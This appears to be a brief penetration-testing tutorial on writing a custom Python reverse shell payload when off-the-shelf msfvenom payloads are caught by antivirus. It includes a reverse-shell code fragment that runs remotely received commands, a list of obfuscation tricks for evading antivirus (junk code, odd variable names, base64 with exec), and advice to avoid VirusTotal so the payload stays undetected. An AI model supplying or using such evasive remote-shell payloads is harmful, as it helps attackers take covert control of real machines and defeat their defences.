This is one of the most challenging part in a pentest. If all of the encoding methods failed, you have to stop using msfvenom and use your own skills to craft a payload. Anti-virus softwares dbs are updating every day so making a payload with common tools it not a good idea. Create your own payload in Python, C, C++, or VBS and convert it to executable.
Payload in python
p = subprocess.Popen(s.recv(1024), shell=True,stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
s.send(p.stdout.read() + p.stderr.read())
This is a python reverse_tcp shell payload.
Now tweak the code little bit to evade AV detection.
1. Adding some random lines of code in between
2. Using very large random variable name
3. Change encoding and name variables to languages like chineese or hindi
4. Encode the whole code to base46 and use exec()
function to execute the payload tutorial here
Now you can convert python to exe. Similar codes are available for other languages (VBS will work great)
DO NOT upload your payload to VirusTotal you can check it on Nodistribute